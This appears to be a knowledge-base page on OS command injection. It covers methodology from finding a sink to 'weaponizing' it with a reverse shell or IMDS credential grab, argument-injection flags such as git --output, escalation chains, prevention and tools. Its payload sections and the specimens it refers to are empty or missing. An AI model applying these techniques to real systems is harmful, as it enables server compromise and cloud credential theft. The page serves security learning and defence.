OS Command Injection

§Basic information

OS command injection is getting a server to run operating-system commands you control. It happens whenever an application builds a command line from user input and hands it to a shell — so your metacharacters (; | && $() ` `) are parsed as *syntax* instead of *data*. The payoff is almost always full RCE: a reverse shell, arbitrary file write, and on a cloud host an immediate pivot to IAM credentials at 169.254.169.254`.

There are two distinct mechanisms, and confusing them wastes hours. Shell-metacharacter injection breaks out of a command string passed to /bin/sh — this is the classic ; id case. Argument (flag) injection needs no shell at all: the app runs a real binary safely, but a user value starting with -/-- is swallowed by that binary's own option parser, letting you inject its dangerous flags (git --output, gm -write). Whenever user data reaches a CLI tool, test both — the second is subtler, more common in modern code that "does everything right" by avoiding a shell, and just as fatal.

§Methodology

1. Find the sink. Look for any feature that shells out to a helper tool with user data in the argument: image/media conversion, archive extraction, git subcommands, PDF/AV processing, chat-bot commands, templated jobs, IaC/build tooling. If you have source, grep for the sink (system/exec/backticks/Open3.popen3/IO.popen with a String, spawn(...,{shell:true}), bash -c "#{...}").
2. Fire a canary that separates the two mechanisms and prefers a non-destructive proof (arithmetic, timing, DNS) over anything reflected.
3. Confirm the context — quoted vs unquoted arg, which separators survive, whether metachars are escaped but spaces/flags are not.
4. Go blind if nothing echoes — out-of-band DNS/HTTP and time-delay are the reliable tells.
5. Weaponize — replace id with a reverse shell or an IMDS grab; if the sink is blind, stage a script you control on disk and execute it.

§Injection contexts

Identify which context your input lands in, then use the matching breakout.

Unquoted shell argument

Input is concatenated straight into the command with no surrounding quotes — any separator works.

Quoted shell argument

Input sits inside "..." or '...'. Close the quote first, then inject.

Command substitution (survives naive filters)

$(...) and backticks run inside an argument without any separator — they slip past filters that only strip ;/|.

Argument / flag injection (no shell)

Metachars are escaped, but a value starting with -/-- is parsed as a flag by the underlying binary. Identify the tool with a harmless flag, then inject its dangerous option.

Blind (nothing reflected)

No output comes back. Prove execution out-of-band with DNS/HTTP, or by a timing differential.

Config / template compiler

User input is rendered into a config another engine compiles (nginx.conf, Groovy, Lua). Close the current directive and open a new one that runs code.

§Bypasses

§Escalation & impact

Command injection is usually the last link, but reaching the sink is often itself a chain. The real payload is never id:

• File-write → RCE without a shell — --output/import path-traversal overwrites ~git/.ssh/authorized_keys (with a command="..." forced-command line), then ssh triggers it. Any arbitrary-write primitive escalates this way (#658013, #298873).
• Two-stage write-then-include — when you can't hit the sink directly, use a first injection to write your payload to disk (nginx log_format/access_log), then a second that includes it (#1620702).
• Auth/path bypass → internal injection sink — ..;/ AJP path-param traversal reaches an unauth internal API whose JSON name field is shelled out as root (#2817658).
• RCE → cloud/cluster takeover — shell → IMDS IAM creds → AWS account (#2083771, #422944); ingress-nginx RCE → controller service-account token → cluster-wide secrets (#1728174).
• Param-filter / mass-assignment → controllable sink input — smuggle import_source past a prohibited-key regex to reach an Open3.popen3 shell string (#1609965).
• Supply-chain — a malicious npm version string or construct fires during the victim's cdk synth/build; container bind-mounts break isolation onto the host (#3637898, #3558713).

§Prevention

• Never build a shell string. Pass an argv array to exec/spawn/system (no /bin/sh, no bash -c, no shell:true). An app that does this is not metachar-injectable.
• Always add -- before user-controlled positional args to a CLI so nothing after it is parsed as a flag. An app that already does this is not flag-injectable (#658013).
• POSIX-escape every interpolated value — escapeshellcmd alone is insufficient (spaces survive, #212696); single-quote wrapping is not escaping (#3637898).
• Disable dangerous delegates — ImageMagick policy.xml blocking PS/EPS/PDF coders neutralizes the Ghostscript path; validate real file type, not extension (#422944).
• Don't expose management consoles (Jenkins /script, Flink /jars/{id}/plan, Spring actuator, EvoStream) unauthenticated — several are RCE-by-design.
• Escape template fields and don't rely on directive blacklists — when user input flows into a config another engine compiles, the whole template is the attack surface (#1728174).

§Tools

• Burp Suite — Repeater/Intruder, and Collaborator for blind OOB confirmation.
• interactsh / a DNS canary — reliable blind execution tells when nothing is reflected.
• nc / a reverse-shell listener — catch the shell once the payload fires.
• Source grep for sinks — system / exec / backticks / Open3.popen3 / IO.popen (String) / spawn(...,{shell:true}) / bash -c "#{...}".
• Tool man pages — to find the dangerous flag for argument injection (gm -write, git --output, hg --debugger).
• A local file-drop (uploaded to your own account) — to stage a script for blind execution.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 85 in this class.

§References & practice

1. PortSwigger Web Security Academy — OS command injection labs (hands-on practice).
2. All 85 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.